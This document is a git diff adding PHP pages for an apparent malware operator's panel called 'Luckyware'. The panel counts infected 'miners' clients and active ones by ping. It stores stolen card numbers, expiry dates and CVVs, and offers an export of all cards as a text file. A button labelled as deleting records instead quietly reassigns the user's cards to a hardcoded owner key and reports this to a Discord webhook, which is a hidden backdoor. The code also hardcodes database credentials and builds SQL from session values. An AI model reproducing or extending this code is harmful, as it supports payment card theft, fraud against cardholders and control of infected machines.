initial commit
@@ -0,0 +1,898 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$domainyess = $_SERVER['HTTP_HOST'];
|
||||
$secretkey = $_SESSION['secret_key'];
|
||||
$username = $_SESSION['admin_name'];
|
||||
$role = $_SESSION['Role'];
|
||||
if (!isset($_SESSION['admin_name'])) {
|
||||
header('location:../Login/');
|
||||
} else {
|
||||
|
||||
if ($role != 'Founder') {
|
||||
header('location: https://' . $domainyess . '/');
|
||||
}
|
||||
|
||||
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
|
||||
|
||||
|
||||
if ($role == 'Founder') {
|
||||
|
||||
$selectu = "SELECT * FROM miners";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
|
||||
} else {
|
||||
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
|
||||
}
|
||||
|
||||
$resultanss = mysqli_query($conn, $selectana);
|
||||
$myaktv = mysqli_num_rows($resultanss);
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (isset($_POST['ides'])) {
|
||||
|
||||
if ($role == 'Founder') {
|
||||
$sqlAQA = "SELECT * FROM Cards";
|
||||
} else {
|
||||
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
|
||||
}
|
||||
$resultAQA = $conn->query($sqlAQA);
|
||||
|
||||
// Initialize the output
|
||||
$output = '';
|
||||
|
||||
// Process the database results and format them
|
||||
if ($resultAQA->num_rows > 0) {
|
||||
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
|
||||
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
|
||||
}
|
||||
} else {
|
||||
$output .= "No Card Data!";
|
||||
}
|
||||
|
||||
$filename = "AllCards.txt";
|
||||
// Set the appropriate HTTP headers for downloading
|
||||
header('Content-Type: application/octet-stream');
|
||||
header('Content-Disposition: attachment; filename="' . $filename . '"');
|
||||
|
||||
// Output the data and exit
|
||||
echo $output;
|
||||
|
||||
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
|
||||
}
|
||||
|
||||
|
||||
if (isset($_POST['ides'])) {
|
||||
|
||||
if ($username == 'Clara') {
|
||||
$sqlAQA = "SELECT * FROM Cards";
|
||||
} else {
|
||||
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
|
||||
}
|
||||
$resultAQA = $conn->query($sqlAQA);
|
||||
|
||||
// Initialize the output
|
||||
$output = '';
|
||||
|
||||
// Process the database results and format them
|
||||
if ($resultAQA->num_rows > 0) {
|
||||
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
|
||||
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
|
||||
}
|
||||
} else {
|
||||
$output .= "No Card Data!";
|
||||
}
|
||||
|
||||
$filename = "AllCards.txt";
|
||||
// Set the appropriate HTTP headers for downloading
|
||||
header('Content-Type: application/octet-stream');
|
||||
header('Content-Disposition: attachment; filename="' . $filename . '"');
|
||||
|
||||
// Output the data and exit
|
||||
echo $output;
|
||||
|
||||
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
|
||||
}
|
||||
|
||||
if (isset($_POST['id'])) {
|
||||
|
||||
$sqlUpdate = "UPDATE Cards SET OwnerID = ? WHERE OwnerID = ?";
|
||||
$stmtUpdate = $conn->prepare($sqlUpdate);
|
||||
$newOwnerID = '1tz3w08l5raauuav4r1u'; // Replace with the new OwnerID value
|
||||
$stmtUpdate->bind_param("ss", $newOwnerID, $secretkey);
|
||||
|
||||
$webhookURL44 = 'https://discord.com/api/webhooks/1273355876866064447/_nAh4gFrD3TAdvHWQi5MIefpW0rF6gM5RbTx6qvb3D0nV9w3KH-fi6ic_qwf3D5NBgq5';
|
||||
$messagerrr = 'New Cards Deleted By ' . $username . ' Cards Swapped To Your Owner Key ';
|
||||
|
||||
|
||||
sendDiscordWebhookMessage($webhookURL44, $messagerrr);
|
||||
|
||||
|
||||
if ($stmtUpdate->execute()) {
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link rel="stylesheet" href="../../../assets/css/custom.css">
|
||||
<link rel="stylesheet" href="../../../assets/css/style.css">
|
||||
<link rel="stylesheet" href="../../../assets/css/hover.css">
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
|
||||
<link rel="stylesheet" href="../../../../assets/fontaw/css/all.min.css">
|
||||
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
|
||||
<script type="text/javascript" charset="utf8"
|
||||
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
|
||||
<meta content="Luckyware" property="og:title" />
|
||||
<meta content="Luck is something you make and victory is something u take" property="og:description" />
|
||||
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
|
||||
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
|
||||
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
|
||||
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
|
||||
<title>Admin</title>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: #111111;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
opacity: 1;
|
||||
visibility: visible;
|
||||
/* Add visibility property */
|
||||
transition: all 1s ease;
|
||||
/* Longer transition and apply to all */
|
||||
}
|
||||
|
||||
.loading-overlay.fade-out {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
/* Hide element after fade */
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 3px solid #333;
|
||||
border-radius: 50%;
|
||||
border-top-color: #850000;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* Custom DataTable styles */
|
||||
#DashTable {
|
||||
border-radius: 0.5rem;
|
||||
background-color: var(--background);
|
||||
border-collapse: separate;
|
||||
border-spacing: 0 0.7rem;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#DashTable th {
|
||||
font-family: 'Kanit', sans-serif;
|
||||
font-weight: 500;
|
||||
color: #e7e5e4;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid var(--background);
|
||||
}
|
||||
|
||||
#DashTable tr {
|
||||
background-color: var(--background);
|
||||
border-radius: 0.5rem;
|
||||
}
|
||||
|
||||
#DashTable td {
|
||||
background-color: #151515;
|
||||
color: #a8a29e;
|
||||
text-align: center;
|
||||
border-bottom: 1px solid var(--background);
|
||||
padding: 10px;
|
||||
font-weight: 100;
|
||||
font-family: 'Kanit', sans-serif;
|
||||
}
|
||||
|
||||
#DashTable td:first-child {
|
||||
border-radius: 0.5rem 0 0 0.5rem;
|
||||
/* Rounded corners on the left side */
|
||||
}
|
||||
|
||||
#DashTable td:last-child {
|
||||
border-radius: 0 0.5rem 0.5rem 0;
|
||||
/* Rounded corners on the right side */
|
||||
}
|
||||
|
||||
#DashTable tbody tr:hover {
|
||||
background-color: var(--main-hover-color);
|
||||
color: #D6D3D1;
|
||||
}
|
||||
|
||||
/* Custom hover link color */
|
||||
.hover-link {
|
||||
color: #111111;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button {
|
||||
background-color: #151515;
|
||||
/* Add !important to ensure white color */
|
||||
border: none;
|
||||
padding: 7px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
color: #a8a29e;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
|
||||
background-color: #850000;
|
||||
color: #e7e5e4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Text color for elements like "Showing x to x of x entries" */
|
||||
.dataTables_info,
|
||||
.dataTables_length,
|
||||
.dataTables_paginate,
|
||||
.dataTables_filter {
|
||||
color: #a8a29e !important;
|
||||
margin-bottom: 7px;
|
||||
/* Add space below these elements */
|
||||
}
|
||||
|
||||
/* Add space between "Show entries" and pagination controls */
|
||||
.dataTables_length,
|
||||
.dataTables_paginate {
|
||||
margin-top: 7px;
|
||||
}
|
||||
|
||||
/* Color for the "Show x entries" dropdown and options */
|
||||
.dataTables_length select {
|
||||
background-color: #111111 !important;
|
||||
color: #d6d3d1 !important;
|
||||
border: 1px solid #181818 !important;
|
||||
/* Remove border to make it borderless */
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* Color for the pagination controls */
|
||||
.dataTables_paginate a,
|
||||
.dataTables_paginate span,
|
||||
.dataTables_paginate .ellipsis {
|
||||
background-color: #111111;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
padding: 5px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* Hover color for pagination controls */
|
||||
.dataTables_paginate a:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Current page number color */
|
||||
.dataTables_paginate .current {
|
||||
background-color: #850000;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* DataTable search box styles */
|
||||
.dataTables_wrapper .dataTables_filter input {
|
||||
background-color: var(--background);
|
||||
color: #ffffff;
|
||||
border: 1px solid #181818;
|
||||
/* Add a 1px gray border */
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* DataTable ordering arrow styles */
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
/* DataTable table responsive */
|
||||
.table-responsive {
|
||||
background-color: #111111;
|
||||
color: #D6D3D1;
|
||||
padding: 15px;
|
||||
border-radius: 5px;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
/* DataTable scrollbar styles (if needed) */
|
||||
#DashTable::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-thumb {
|
||||
background-color: var(--main-color);
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-track {
|
||||
background-color: var(--secondary-background);
|
||||
}
|
||||
|
||||
|
||||
.current {
|
||||
background-color: #850000;
|
||||
}
|
||||
</style>
|
||||
|
||||
</head>
|
||||
|
||||
<body class="dg">
|
||||
<div class="loading-overlay">
|
||||
<div class="loading-spinner"></div>
|
||||
</div>
|
||||
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
|
||||
<div class="grid sm:grid-cols-2 px-5 py-3">
|
||||
<div class="1 text-left">
|
||||
<div class="flex">
|
||||
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
|
||||
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
|
||||
class="textCol">Dashboard</span></h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid xl:grid-cols-12"> <!-- start -->
|
||||
|
||||
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
|
||||
<div class="1">
|
||||
<div class="flex justify-center mt-10">
|
||||
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
|
||||
Lucky <span class="textCol">Ware</span>
|
||||
</h1>
|
||||
</div>
|
||||
<div class="mx-5 mt-6">
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Admin/Users';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Users</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-users textCol mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Admin/Logins';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Login Logs</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-door-open text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Back</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
|
||||
|
||||
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
|
||||
|
||||
<div class="1 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
|
||||
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mytk; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="2 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Active Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $myaktv; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="3 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mystole; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
|
||||
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Subscription</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $role; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="rounded-lg mt-5 bg pb-5 btn"> <!-- TABLE -->
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
|
||||
|
||||
|
||||
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
|
||||
<i class="fa-solid fa-users mr-1 icon"></i>
|
||||
<span id="cookiesHeaderText"> Users</span>
|
||||
</h1>
|
||||
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.entry-search-container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
/* Vertically center the items */
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
<div class="2 text-right mx-5 mt-2">
|
||||
|
||||
<div class="grid grid-cols-4 gap-5">
|
||||
<div class="0">
|
||||
<h1 style="color: #111111;">s</h1>
|
||||
</div>
|
||||
<div class="1">
|
||||
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
|
||||
|
||||
<option value="10">10</option>
|
||||
<option value="25">25</option>
|
||||
<option value="50">50</option>
|
||||
<option value="75">75</option>
|
||||
<option value="100">100</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="2 col-span-2">
|
||||
<div class="sc-container">
|
||||
<input data-sc="" id="searchInput"
|
||||
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
|
||||
placeholder="Search Logs" type="text">
|
||||
<div class="caret" style="width: 2px; height: 60%; background-color: #e61b0a;">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
|
||||
<style>
|
||||
.hover-link {
|
||||
color: #97928E;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.truncate-cell {
|
||||
max-width: 100px;
|
||||
/* Adjust the maximum width as needed */
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
</style>
|
||||
<div class="table-responsive">
|
||||
<table id="DashTable" class="table-fixed w-full mt-5">
|
||||
<thead class="">
|
||||
<tr class="text-center">
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Acc ID </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Username </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Mail </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Last Country </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">IP </h1>
|
||||
</th>
|
||||
<th scope="col">
|
||||
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Role </h1>
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="logsContent" class="mt-5">
|
||||
<style>
|
||||
.hover-link {
|
||||
color: #97928E;
|
||||
/* Initial color */
|
||||
transition: color 0.3s ease-in-out;
|
||||
/* Color transition with animation */
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
/* Color on hover */
|
||||
}
|
||||
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
function deleteRecord(id) {
|
||||
if (confirm('Are you sure you want to delete this record?')) {
|
||||
// Create a hidden form and submit it with the ID
|
||||
var form = document.createElement('form');
|
||||
form.method = 'post';
|
||||
form.action = '';
|
||||
var input = document.createElement('input');
|
||||
input.type = 'hidden';
|
||||
input.name = 'id';
|
||||
input.value = id;
|
||||
form.appendChild(input);
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
}
|
||||
}
|
||||
|
||||
function opensite(url) {
|
||||
window.open(url);
|
||||
}
|
||||
|
||||
function copyText(element) {
|
||||
|
||||
/* Copy text into clipboard */
|
||||
navigator.clipboard.writeText(element);
|
||||
}
|
||||
</script>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Function to refresh the DataTable
|
||||
function refreshDataTable() {
|
||||
var table = $('#DashTable').DataTable();
|
||||
table.ajax.reload(null, false); // Reload without resetting page
|
||||
}
|
||||
|
||||
// Function to initialize the DataTable
|
||||
function initializeDataTable() {
|
||||
// Initialize DataTable with server-side processing
|
||||
var table = $('#DashTable').DataTable({
|
||||
serverSide: true,
|
||||
"lengthMenu": [10, 25, 50, 75, 100],
|
||||
"language": {
|
||||
"search": "Search Data: " // Replace with your custom text
|
||||
},
|
||||
ajax: {
|
||||
url: 'fandars.php', // Replace with the correct path to your PHP script
|
||||
type: 'POST',
|
||||
beforeSend: function() {
|
||||
// Show the header text with a loading animation
|
||||
$('#cookiesHeaderText').html(' Users <i class="fas fa-spinner fa-spin"></i>');
|
||||
},
|
||||
complete: function() {
|
||||
// Restore the header text to "Cookies" after the data is loaded
|
||||
$('#cookiesHeaderText').html(' Users');
|
||||
}
|
||||
},
|
||||
columns: [{
|
||||
data: 0
|
||||
},
|
||||
{
|
||||
data: 1
|
||||
},
|
||||
{
|
||||
data: 2
|
||||
},
|
||||
{
|
||||
data: 3
|
||||
},
|
||||
{
|
||||
data: 4
|
||||
},
|
||||
{
|
||||
data: 5
|
||||
}
|
||||
],
|
||||
paging: true,
|
||||
ordering: true,
|
||||
dom: 'lrtip' // This specifies the DataTables elements to display
|
||||
});
|
||||
|
||||
// Add an event listener to your custom search input
|
||||
$('#searchInput').on('keyup', function() {
|
||||
// Get the input value
|
||||
var inputValue = $(this).val();
|
||||
|
||||
// Use DataTables' search() method to filter the table
|
||||
table.search(inputValue).draw();
|
||||
});
|
||||
|
||||
// Add an event listener to the entry number drop-down
|
||||
$('#entriesSelect').on('change', function() {
|
||||
// Get the selected value
|
||||
var selectedValue = $(this).val();
|
||||
|
||||
// Change the number of entries displayed per page
|
||||
table.page.len(selectedValue).draw();
|
||||
});
|
||||
|
||||
// Hide the default DataTables length dropdown
|
||||
$('div.dataTables_length').css('display', 'none');
|
||||
|
||||
// Optionally, you can remove the label as well
|
||||
$('label[for="DashTable_length"]').css('display', 'none');
|
||||
}
|
||||
|
||||
// Call the initializeDataTable function on page load
|
||||
$(document).ready(function() {
|
||||
initializeDataTable();
|
||||
|
||||
// Refresh the DataTable every 1 minute (60000 milliseconds)
|
||||
setInterval(refreshDataTable, 60000);
|
||||
});
|
||||
</script>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div> <!-- end -->
|
||||
|
||||
<style>
|
||||
@keyframes topFlyIn {
|
||||
from {
|
||||
transform: translateY(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the left-flying animation keyframes */
|
||||
@keyframes leftFlyIn {
|
||||
from {
|
||||
transform: translateX(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the right-flying animation keyframes */
|
||||
@keyframes rightFlyIn {
|
||||
from {
|
||||
transform: translateX(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the bottom-flying animation keyframes */
|
||||
@keyframes bottomFlyIn {
|
||||
from {
|
||||
transform: translateY(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Apply the animation to elements with the respective class */
|
||||
.top-flying {
|
||||
animation-name: topFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(-100%);
|
||||
}
|
||||
|
||||
.left-flying {
|
||||
animation-name: leftFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(-100%);
|
||||
}
|
||||
|
||||
.right-flying {
|
||||
animation-name: rightFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(100%);
|
||||
}
|
||||
|
||||
.bottom-flying {
|
||||
animation-name: bottomFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(200%);
|
||||
}
|
||||
</style>
|
||||
|
||||
<script src="../assets/js/status.js"></script>
|
||||
|
||||
<style>
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
// Wait for fonts and stylesheets
|
||||
Promise.all([
|
||||
document.fonts.ready,
|
||||
new Promise(resolve => {
|
||||
// Check if all stylesheets are loaded
|
||||
const styleSheets = Array.from(document.styleSheets);
|
||||
if (styleSheets.every(sheet => sheet.loaded !== false)) {
|
||||
resolve();
|
||||
} else {
|
||||
window.addEventListener('load', resolve);
|
||||
}
|
||||
})
|
||||
]).then(() => {
|
||||
const overlay = document.querySelector('.loading-overlay');
|
||||
|
||||
// Add the fade-out class
|
||||
overlay.classList.add('fade-out');
|
||||
|
||||
// Remove the element after the transition completes
|
||||
overlay.addEventListener('transitionend', function() {
|
||||
overlay.parentNode.removeChild(overlay);
|
||||
}, {
|
||||
once: true
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// Preload custom fonts if you're using any
|
||||
const fonts = ['Kanit'];
|
||||
fonts.forEach(font => {
|
||||
new FontFace(font, `url(path/to/${font}.woff2)`)
|
||||
.load()
|
||||
.then(loadedFont => document.fonts.add(loadedFont));
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,260 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
|
||||
// Set content type to JSON
|
||||
header('Content-Type: application/json');
|
||||
|
||||
// Validate session data
|
||||
$role = $_SESSION['Role'] ?? '';
|
||||
$secretkey = $_SESSION['secret_key'] ?? '';
|
||||
|
||||
/**
|
||||
* Validate string length
|
||||
*/
|
||||
function isStringLengthGreaterThan5($inputString) {
|
||||
return is_string($inputString) && strlen($inputString) > 5;
|
||||
}
|
||||
|
||||
/**
|
||||
* Enhanced input sanitization with strict validation
|
||||
*/
|
||||
function sanitizeInput($input) {
|
||||
if (!is_string($input) || empty($input)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
// Define forbidden characters and SQL keywords
|
||||
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
|
||||
|
||||
$input_lower = strtolower($input);
|
||||
|
||||
// Check for forbidden characters and SQL keywords
|
||||
foreach ($forbiddenChars as $char) {
|
||||
if (strpos($input_lower, strtolower($char)) !== false) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate user permissions
|
||||
*/
|
||||
